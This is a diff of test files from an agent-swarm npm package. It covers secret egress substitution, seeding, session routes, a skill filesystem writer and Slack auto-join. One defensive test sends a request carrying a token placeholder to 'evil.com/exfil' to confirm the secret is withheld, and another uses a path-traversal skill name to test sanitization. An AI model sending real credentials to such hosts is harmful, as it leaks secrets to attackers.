@desplega.ai/agent-swarm 1.92.2 → 1.94.0

package/src/tests/scripts-runtime-secret-egress.test.ts

@@ -1,4 +1,8 @@
 import { afterEach, beforeEach, describe, expect, test } from "bun:test";
+import {
+  buildEgressSecrets,
+  patchFetchWithEgressSubstitution,
+} from "../scripts-runtime/egress-secrets";
 import { runScript } from "../scripts-runtime/loader";
 import { refreshSecretScrubberCache } from "../utils/secret-scrubber";
 
@@ -42,3 +46,128 @@ describe("runtime secret egress", () => {
     expect(output.result).toEqual({ wrapped: "<redacted>" });
   });
 });
+
+describe("egress-substitution", () => {
+  describe("buildEgressSecrets", () => {
+    test("includes GITHUB_TOKEN when set in env", () => {
+      process.env.GITHUB_TOKEN = "ghp_test1234567890abcdef";
+      const secrets = buildEgressSecrets();
+      expect(secrets).toEqual([
+        {
+          placeholder: "[REDACTED:GITHUB_TOKEN]",
+          hosts: ["api.github.com"],
+          value: "ghp_test1234567890abcdef",
+        },
+      ]);
+    });
+
+    test("returns empty array when GITHUB_TOKEN not set", () => {
+      delete process.env.GITHUB_TOKEN;
+      const secrets = buildEgressSecrets();
+      expect(secrets).toEqual([]);
+    });
+  });
+
+  describe("patchFetchWithEgressSubstitution", () => {
+    let originalFetch: typeof globalThis.fetch;
+
+    beforeEach(() => {
+      originalFetch = globalThis.fetch;
+    });
+
+    afterEach(() => {
+      globalThis.fetch = originalFetch;
+    });
+
+    test("substitutes placeholder in Authorization header for allowlisted host", async () => {
+      let capturedHeaders: Headers | undefined;
+      globalThis.fetch = async (_input: any, init?: any) => {
+        capturedHeaders = new Headers(init?.headers);
+        return new Response(JSON.stringify({ ok: true }), { status: 200 });
+      };
+
+      patchFetchWithEgressSubstitution([
+        {
+          placeholder: "[REDACTED:GITHUB_TOKEN]",
+          hosts: ["api.github.com"],
+          value: "ghp_real_secret_value_123",
+        },
+      ]);
+
+      await globalThis.fetch("https://api.github.com/repos/test/test", {
+        headers: { Authorization: "Bearer [REDACTED:GITHUB_TOKEN]" },
+      });
+
+      expect(capturedHeaders?.get("authorization")).toBe("Bearer ghp_real_secret_value_123");
+    });
+
+    test("does NOT substitute for non-allowlisted host", async () => {
+      let capturedHeaders: Headers | undefined;
+      globalThis.fetch = async (_input: any, init?: any) => {
+        capturedHeaders = new Headers(init?.headers);
+        return new Response(JSON.stringify({ ok: true }), { status: 200 });
+      };
+
+      patchFetchWithEgressSubstitution([
+        {
+          placeholder: "[REDACTED:GITHUB_TOKEN]",
+          hosts: ["api.github.com"],
+          value: "ghp_real_secret_value_123",
+        },
+      ]);
+
+      await globalThis.fetch("https://evil.com/exfil", {
+        headers: { Authorization: "Bearer [REDACTED:GITHUB_TOKEN]" },
+      });
+
+      expect(capturedHeaders?.get("authorization")).toBe("Bearer [REDACTED:GITHUB_TOKEN]");
+    });
+
+    test("passes through requests with no redacted placeholders", async () => {
+      let callCount = 0;
+      globalThis.fetch = async (_input: any, _init?: any) => {
+        callCount++;
+        return new Response("ok", { status: 200 });
+      };
+
+      patchFetchWithEgressSubstitution([
+        {
+          placeholder: "[REDACTED:GITHUB_TOKEN]",
+          hosts: ["api.github.com"],
+          value: "ghp_real_secret_value_123",
+        },
+      ]);
+
+      await globalThis.fetch("https://api.github.com/repos/test/test", {
+        headers: { Accept: "application/json" },
+      });
+
+      expect(callCount).toBe(1);
+    });
+
+    test("does not substitute in request body", async () => {
+      let capturedBody: string | undefined;
+      globalThis.fetch = async (_input: any, init?: any) => {
+        capturedBody = init?.body;
+        return new Response("ok", { status: 200 });
+      };
+
+      patchFetchWithEgressSubstitution([
+        {
+          placeholder: "[REDACTED:GITHUB_TOKEN]",
+          hosts: ["api.github.com"],
+          value: "ghp_real_secret_value_123",
+        },
+      ]);
+
+      await globalThis.fetch("https://api.github.com/gists", {
+        method: "POST",
+        headers: { Authorization: "Bearer [REDACTED:GITHUB_TOKEN]" },
+        body: JSON.stringify({ content: "[REDACTED:GITHUB_TOKEN]" }),
+      });
+
+      expect(capturedBody).toContain("[REDACTED:GITHUB_TOKEN]");
+      expect(capturedBody).not.toContain("ghp_real_secret_value_123");
+    });
+  });
+});

package/src/tests/seed-scripts.test.ts

@@ -53,7 +53,7 @@ afterAll(async () => {
 });
 
 describe("seed-scripts catalog", () => {
-  test("manifest holds 17 unique, well-described scripts", () => {
+  test("manifest holds 18 unique, well-described scripts", () => {
     expect(SEED_SCRIPTS.length).toBe(18);
     const names = SEED_SCRIPTS.map((s) => s.name);
     expect(new Set(names).size).toBe(names.length);
@@ -66,6 +66,18 @@ describe("seed-scripts catalog", () => {
     }
   });
 
+  test("inline catalog files stay in sync with their runtime files", async () => {
+    const catalogDir = join(import.meta.dir, "../be/seed-scripts/catalog");
+    const inlineFiles = ["boot-triage", "catalog-report", "compound-insights", "ops-catalog-audit"];
+
+    for (const name of inlineFiles) {
+      const runtimeSource = await Bun.file(join(catalogDir, `${name}.ts`)).text();
+      const inlineSource = await Bun.file(join(catalogDir, `${name}.inline.ts`)).text();
+
+      expect(inlineSource, `${name}.inline.ts drifted from ${name}.ts`).toBe(runtimeSource);
+    }
+  });
+
   test("every catalog script passes the import allowlist and the script typecheck", () => {
     const failures: string[] = [];
     for (const s of SEED_SCRIPTS) {

package/src/tests/seed.test.ts

@@ -1,7 +1,13 @@
 import { afterAll, beforeAll, describe, expect, test } from "bun:test";
 import { unlink } from "node:fs/promises";
 import { closeDb, initDb } from "../be/db";
-import { getSeedState, runSeeder, type Seeder, type SeedItem } from "../be/seed";
+import {
+  getSeedState,
+  runSeeder,
+  type Seeder,
+  type SeederRunOptions,
+  type SeedItem,
+} from "../be/seed";
 
 const TEST_DB_PATH = "./test-seed.sqlite";
 
@@ -137,6 +143,25 @@ describe("seeder harness — versioning rule", () => {
     expect(upstream.get("y")).toBe("h-pre-existing");
   });
 
+  test("runner passes opts through to apply()", async () => {
+    const capturedOpts: (SeederRunOptions | undefined)[] = [];
+    const source = new Map([["a", "h-a1"]]);
+    const upstream = new Map<string, string>();
+    const seeder: Seeder<SeedItem> = {
+      kind: "opts-passthrough-test",
+      items: () => [...source.entries()].map(([key, contentHash]) => ({ key, contentHash })),
+      upstreamHash: (item) => upstream.get(item.key) ?? null,
+      apply: (item, _action, opts) => {
+        capturedOpts.push(opts);
+        upstream.set(item.key, item.contentHash);
+      },
+    };
+
+    await runSeeder(seeder, { quiet: true, scriptEmbeddingMode: "skip" });
+    expect(capturedOpts).toHaveLength(1);
+    expect(capturedOpts[0]?.scriptEmbeddingMode).toBe("skip");
+  });
+
   test("a throwing apply is captured per-item without aborting the run", async () => {
     const source = new Map([
       ["ok", "h-ok"],

package/src/tests/session-attach.test.ts

@@ -29,13 +29,13 @@ async function handleRequest(req: {
 }): Promise<{ status: number; body: unknown }> {
   const pathSegments = getPathSegments(req.url || "");
 
-  // PUT /api/tasks/:id/claude-session - Update Claude session ID
+  // PUT /api/tasks/:id/session - Update Claude session ID
   if (
     req.method === "PUT" &&
     pathSegments[0] === "api" &&
     pathSegments[1] === "tasks" &&
     pathSegments[2] &&
-    pathSegments[3] === "claude-session"
+    pathSegments[3] === "session"
   ) {
     const taskId = pathSegments[2];
     const reqBody = req.body ? JSON.parse(req.body) : {};
@@ -233,7 +233,7 @@ describe("Session Attachment", () => {
     });
   });
 
-  describe("API Layer — PUT /api/tasks/:id/claude-session", () => {
+  describe("API Layer — PUT /api/tasks/:id/session", () => {
     test("should update claudeSessionId and return 200", async () => {
       const task = createTaskExtended("Task for API session update", {
         creatorAgentId: "lead-session-test",
@@ -241,7 +241,7 @@ describe("Session Attachment", () => {
       });
 
       const sessionId = "api-session-id-67890";
-      const response = await fetch(`${baseUrl}/api/tasks/${task.id}/claude-session`, {
+      const response = await fetch(`${baseUrl}/api/tasks/${task.id}/session`, {
         method: "PUT",
         headers: { "Content-Type": "application/json" },
         body: JSON.stringify({ claudeSessionId: sessionId }),
@@ -253,7 +253,7 @@ describe("Session Attachment", () => {
     });
 
     test("should return 404 for invalid task", async () => {
-      const response = await fetch(`${baseUrl}/api/tasks/non-existent-task/claude-session`, {
+      const response = await fetch(`${baseUrl}/api/tasks/non-existent-task/session`, {
         method: "PUT",
         headers: { "Content-Type": "application/json" },
         body: JSON.stringify({ claudeSessionId: "some-session" }),
@@ -267,7 +267,7 @@ describe("Session Attachment", () => {
         creatorAgentId: "lead-session-test",
       });
 
-      const response = await fetch(`${baseUrl}/api/tasks/${task.id}/claude-session`, {
+      const response = await fetch(`${baseUrl}/api/tasks/${task.id}/session`, {
         method: "PUT",
         headers: { "Content-Type": "application/json" },
         body: JSON.stringify({}),

package/src/tests/session-costs-model-key-normalize.test.ts

@@ -134,6 +134,8 @@ describe("normalizeModelKey()", () => {
 
   test("is a no-op for canonical claude ids", () => {
     expect(normalizeModelKey("claude", "claude-opus-4-7")).toBe("claude-opus-4-7");
+    expect(normalizeModelKey("claude", "claude-fable-5")).toBe("claude-fable-5");
+    expect(normalizeModelKey("claude", "claude-mythos-5")).toBe("claude-mythos-5");
   });
 
   test("is idempotent", () => {

package/src/tests/skill-fs-writer.test.ts

@@ -0,0 +1,250 @@
+/**
+ * Unit tests for the pure, DB-free writeSkillsToFilesystem() helper.
+ *
+ * These tests drive the writer directly with crafted SkillFsEntry arrays,
+ * exercising: simple write, complex skill with bundled files, binary-file
+ * skip, rename → stale dir removed, marker-gated cleanup leaves unmanaged
+ * dirs intact, path-traversal name sanitization.
+ */
+import { afterAll, afterEach, beforeAll, describe, expect, test } from "bun:test";
+import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from "node:fs";
+import { tmpdir } from "node:os";
+import { join } from "node:path";
+import {
+  type SkillFsEntry,
+  SWARM_MARKER_FILE,
+  writeSkillsToFilesystem,
+} from "../utils/skill-fs-writer";
+
+const FAKE_HOME = join(tmpdir(), `skill-fs-writer-test-${process.pid}`);
+
+function skillEntry(
+  overrides: Partial<SkillFsEntry> & { name: string; content: string },
+): SkillFsEntry {
+  return {
+    id: `id-${overrides.name}`,
+    isComplex: false,
+    isEnabled: true,
+    isActive: true,
+    files: [],
+    ...overrides,
+  };
+}
+
+describe("writeSkillsToFilesystem", () => {
+  beforeAll(() => {
+    mkdirSync(FAKE_HOME, { recursive: true });
+  });
+
+  afterEach(() => {
+    // Clean up between tests
+    rmSync(join(FAKE_HOME, ".claude"), { recursive: true, force: true });
+    rmSync(join(FAKE_HOME, ".pi"), { recursive: true, force: true });
+    rmSync(join(FAKE_HOME, ".codex"), { recursive: true, force: true });
+  });
+
+  afterAll(() => {
+    rmSync(FAKE_HOME, { recursive: true, force: true });
+  });
+
+  test("writes simple skill SKILL.md to claude dir", () => {
+    const entries = [skillEntry({ name: "my-skill", content: "# My Skill\n\nDoes stuff." })];
+    const result = writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
+
+    expect(result.errors).toHaveLength(0);
+    expect(result.synced).toBe(1);
+
+    const skillFile = join(FAKE_HOME, ".claude", "skills", "my-skill", "SKILL.md");
+    expect(existsSync(skillFile)).toBe(true);
+    expect(readFileSync(skillFile, "utf-8")).toContain("Does stuff.");
+  });
+
+  test("writes swarm-managed marker alongside SKILL.md", () => {
+    const entries = [skillEntry({ name: "my-skill", content: "# My Skill" })];
+    writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
+
+    const marker = join(FAKE_HOME, ".claude", "skills", "my-skill", SWARM_MARKER_FILE);
+    expect(existsSync(marker)).toBe(true);
+  });
+
+  test("writes to all harness dirs when harnessType is 'all'", () => {
+    const entries = [skillEntry({ name: "multi-skill", content: "# Multi" })];
+    const result = writeSkillsToFilesystem(entries, "all", FAKE_HOME);
+
+    expect(result.synced).toBe(3); // claude + pi + codex
+    expect(existsSync(join(FAKE_HOME, ".claude", "skills", "multi-skill", "SKILL.md"))).toBe(true);
+    expect(existsSync(join(FAKE_HOME, ".pi", "agent", "skills", "multi-skill", "SKILL.md"))).toBe(
+      true,
+    );
+    expect(existsSync(join(FAKE_HOME, ".codex", "skills", "multi-skill", "SKILL.md"))).toBe(true);
+  });
+
+  test("writes complex skill SKILL.md plus non-binary bundled files", () => {
+    const entries = [
+      skillEntry({
+        name: "complex-skill",
+        content: "# Complex Skill",
+        isComplex: true,
+        files: [
+          {
+            path: "references/guide.md",
+            content: "# Guide\n\nBundled reference.",
+            isBinary: false,
+          },
+        ],
+      }),
+    ];
+    const result = writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
+
+    expect(result.errors).toHaveLength(0);
+    expect(result.synced).toBe(1);
+
+    const skillFile = join(FAKE_HOME, ".claude", "skills", "complex-skill", "SKILL.md");
+    const bundledFile = join(
+      FAKE_HOME,
+      ".claude",
+      "skills",
+      "complex-skill",
+      "references",
+      "guide.md",
+    );
+    expect(existsSync(skillFile)).toBe(true);
+    expect(existsSync(bundledFile)).toBe(true);
+    expect(readFileSync(bundledFile, "utf-8")).toContain("Bundled reference.");
+  });
+
+  test("skips binary bundled files", () => {
+    const entries = [
+      skillEntry({
+        name: "complex-skill",
+        content: "# Complex Skill",
+        isComplex: true,
+        files: [
+          { path: "references/guide.md", content: "# Guide", isBinary: false },
+          { path: "assets/logo.png", content: "[binary]", isBinary: true },
+        ],
+      }),
+    ];
+    writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
+
+    const binaryFile = join(FAKE_HOME, ".claude", "skills", "complex-skill", "assets", "logo.png");
+    const textFile = join(
+      FAKE_HOME,
+      ".claude",
+      "skills",
+      "complex-skill",
+      "references",
+      "guide.md",
+    );
+    expect(existsSync(binaryFile)).toBe(false);
+    expect(existsSync(textFile)).toBe(true);
+  });
+
+  test("skips legacy complex skills with no files", () => {
+    const entries = [
+      skillEntry({
+        name: "legacy-complex",
+        content: "# Legacy",
+        isComplex: true,
+        files: [], // no files → skip
+      }),
+    ];
+    writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
+
+    const skillDir = join(FAKE_HOME, ".claude", "skills", "legacy-complex");
+    expect(existsSync(skillDir)).toBe(false);
+  });
+
+  test("skips inactive skills", () => {
+    const entries = [
+      skillEntry({ name: "inactive-skill", content: "# Inactive", isActive: false }),
+    ];
+    const result = writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
+
+    expect(result.synced).toBe(0);
+    expect(existsSync(join(FAKE_HOME, ".claude", "skills", "inactive-skill"))).toBe(false);
+  });
+
+  test("skips disabled skills", () => {
+    const entries = [
+      skillEntry({ name: "disabled-skill", content: "# Disabled", isEnabled: false }),
+    ];
+    const result = writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
+
+    expect(result.synced).toBe(0);
+    expect(existsSync(join(FAKE_HOME, ".claude", "skills", "disabled-skill"))).toBe(false);
+  });
+
+  test("removes stale swarm-managed skill directory on rename", () => {
+    // First sync: write old-name
+    const first = [skillEntry({ name: "old-name", content: "# Old" })];
+    writeSkillsToFilesystem(first, "claude", FAKE_HOME);
+
+    const oldDir = join(FAKE_HOME, ".claude", "skills", "old-name");
+    expect(existsSync(oldDir)).toBe(true);
+
+    // Second sync: write new-name, old-name disappears
+    const second = [skillEntry({ name: "new-name", content: "# New" })];
+    const result = writeSkillsToFilesystem(second, "claude", FAKE_HOME);
+
+    expect(result.removed).toBeGreaterThanOrEqual(1);
+    expect(existsSync(oldDir)).toBe(false);
+    expect(existsSync(join(FAKE_HOME, ".claude", "skills", "new-name", "SKILL.md"))).toBe(true);
+  });
+
+  test("marker-gated cleanup leaves unmanaged dirs intact", () => {
+    // User-installed skill dir with no .swarm-managed marker
+    const foreignDir = join(FAKE_HOME, ".claude", "skills", "user-personal-skill");
+    mkdirSync(foreignDir, { recursive: true });
+    writeFileSync(join(foreignDir, "SKILL.md"), "user's own skill — keep me");
+
+    // Sync with a different skill set — should NOT touch the unmanaged dir
+    const entries = [skillEntry({ name: "swarm-skill", content: "# Swarm" })];
+    writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
+
+    expect(existsSync(foreignDir)).toBe(true);
+    expect(readFileSync(join(foreignDir, "SKILL.md"), "utf-8")).toBe("user's own skill — keep me");
+  });
+
+  test("sanitizes path-traversal characters in skill names", () => {
+    const entries = [skillEntry({ name: "my/dangerous/../skill", content: "# Safe" })];
+    const result = writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
+
+    expect(result.errors).toHaveLength(0);
+    const sanitizedDir = join(FAKE_HOME, ".claude", "skills", "my_dangerous____skill");
+    expect(existsSync(sanitizedDir)).toBe(true);
+  });
+
+  test("removes stale bundled files on re-sync", () => {
+    // First sync: write complex skill with one file
+    const first = [
+      skillEntry({
+        name: "complex-skill",
+        content: "# Complex",
+        isComplex: true,
+        files: [{ path: "references/guide.md", content: "# Guide", isBinary: false }],
+      }),
+    ];
+    writeSkillsToFilesystem(first, "claude", FAKE_HOME);
+
+    const skillDir = join(FAKE_HOME, ".claude", "skills", "complex-skill");
+    // Manually add a stale file that should be removed
+    writeFileSync(join(skillDir, "references", "stale.md"), "stale content");
+    expect(existsSync(join(skillDir, "references", "stale.md"))).toBe(true);
+
+    // Second sync: same skill, file not in new set → should be removed
+    const result = writeSkillsToFilesystem(first, "claude", FAKE_HOME);
+
+    expect(result.removed).toBeGreaterThanOrEqual(1);
+    expect(existsSync(join(skillDir, "references", "stale.md"))).toBe(false);
+    expect(existsSync(join(skillDir, "references", "guide.md"))).toBe(true);
+  });
+
+  test("returns empty result for empty entries", () => {
+    const result = writeSkillsToFilesystem([], "claude", FAKE_HOME);
+
+    expect(result.synced).toBe(0);
+    expect(result.removed).toBe(0);
+    expect(result.errors).toHaveLength(0);
+  });
+});

package/src/tests/slack-attachments-block.test.ts

@@ -4,7 +4,6 @@ import type { TaskAttachment } from "../types";
 
 // Slack block types are open unions — the builder returns `any`; we read it
 // as `any` in the test to inspect the runtime shape.
-// biome-ignore lint/suspicious/noExplicitAny: see comment above
 type SlackBlock = any;
 
 function mkAttachment(overrides: Partial<TaskAttachment>): TaskAttachment {

package/src/tests/slack-blocks.test.ts

@@ -941,7 +941,6 @@ function mkAttachment(overrides: Partial<TaskAttachment>): TaskAttachment {
   };
 }
 
-// biome-ignore lint/suspicious/noExplicitAny: section blocks are loose plain objects
 type AnyBlock = any;
 
 function sectionTexts(blocks: AnyBlock[]): string[] {

package/src/tests/slack-channel-join.test.ts

@@ -0,0 +1,80 @@
+import { describe, expect, mock, test } from "bun:test";
+import type { WebClient } from "@slack/web-api";
+import { withAutoJoin } from "../slack/channel-join";
+
+// Mirrors the shape @slack/web-api's platformErrorFromResult produces:
+// message = "An API error occurred: <code>", data.error = "<code>"
+function makePlatformError(code: string): Error {
+  const err = new Error(`An API error occurred: ${code}`);
+  (err as unknown as { data: { error: string } }).data = { error: code };
+  return err;
+}
+
+describe("withAutoJoin", () => {
+  test("success: fn called once, join not called", async () => {
+    const joinFn = mock(() => Promise.resolve({}));
+    const client = { conversations: { join: joinFn } } as unknown as WebClient;
+    const fn = mock(() => Promise.resolve("ok"));
+
+    const result = await withAutoJoin(client, "C123", fn);
+    expect(result).toBe("ok");
+    expect(fn).toHaveBeenCalledTimes(1);
+    expect(joinFn).not.toHaveBeenCalled();
+  });
+
+  test("not_in_channel: calls join then retries fn exactly once", async () => {
+    const joinFn = mock(() => Promise.resolve({}));
+    const client = { conversations: { join: joinFn } } as unknown as WebClient;
+    let callCount = 0;
+    const fn = mock(async () => {
+      callCount++;
+      if (callCount === 1) throw makePlatformError("not_in_channel");
+      return "retried-ok";
+    });
+
+    const result = await withAutoJoin(client, "CPUB", fn);
+    expect(result).toBe("retried-ok");
+    expect(fn).toHaveBeenCalledTimes(2);
+    expect(joinFn).toHaveBeenCalledTimes(1);
+    expect(joinFn).toHaveBeenCalledWith({ channel: "CPUB" });
+  });
+
+  test("private channel: join fails with method_not_supported_for_channel_type → descriptive error", async () => {
+    const joinFn = mock(() => {
+      throw makePlatformError("method_not_supported_for_channel_type");
+    });
+    const client = { conversations: { join: joinFn } } as unknown as WebClient;
+    const fn = mock(() => {
+      throw makePlatformError("not_in_channel");
+    });
+
+    await expect(withAutoJoin(client, "CPRIV", fn)).rejects.toThrow("invite the bot");
+    expect(joinFn).toHaveBeenCalledTimes(1);
+    expect(fn).toHaveBeenCalledTimes(1);
+  });
+
+  test("non-not_in_channel error: rethrown without join", async () => {
+    const joinFn = mock(() => Promise.resolve({}));
+    const client = { conversations: { join: joinFn } } as unknown as WebClient;
+    const fn = mock(() => {
+      throw makePlatformError("channel_not_found");
+    });
+
+    await expect(withAutoJoin(client, "C123", fn)).rejects.toThrow("channel_not_found");
+    expect(joinFn).not.toHaveBeenCalled();
+    expect(fn).toHaveBeenCalledTimes(1);
+  });
+
+  test("retry is bounded: second fn error propagates without another join", async () => {
+    const joinFn = mock(() => Promise.resolve({}));
+    const client = { conversations: { join: joinFn } } as unknown as WebClient;
+    // Every call throws not_in_channel, but we only join once and retry once
+    const fn = mock(() => {
+      throw makePlatformError("not_in_channel");
+    });
+
+    await expect(withAutoJoin(client, "C123", fn)).rejects.toThrow("not_in_channel");
+    expect(fn).toHaveBeenCalledTimes(2);
+    expect(joinFn).toHaveBeenCalledTimes(1); // no infinite loop
+  });
+});

package/src/tests/slack-identity-resolution.test.ts

@@ -62,7 +62,6 @@ function makeMockClient(byUserId: Record<string, MockUsersInfoResponse | "throw"
     },
   };
   return {
-    // biome-ignore lint/suspicious/noExplicitAny: shape-matched to WebClient's users.info call site.
     client: client as any,
     callCounts,
   };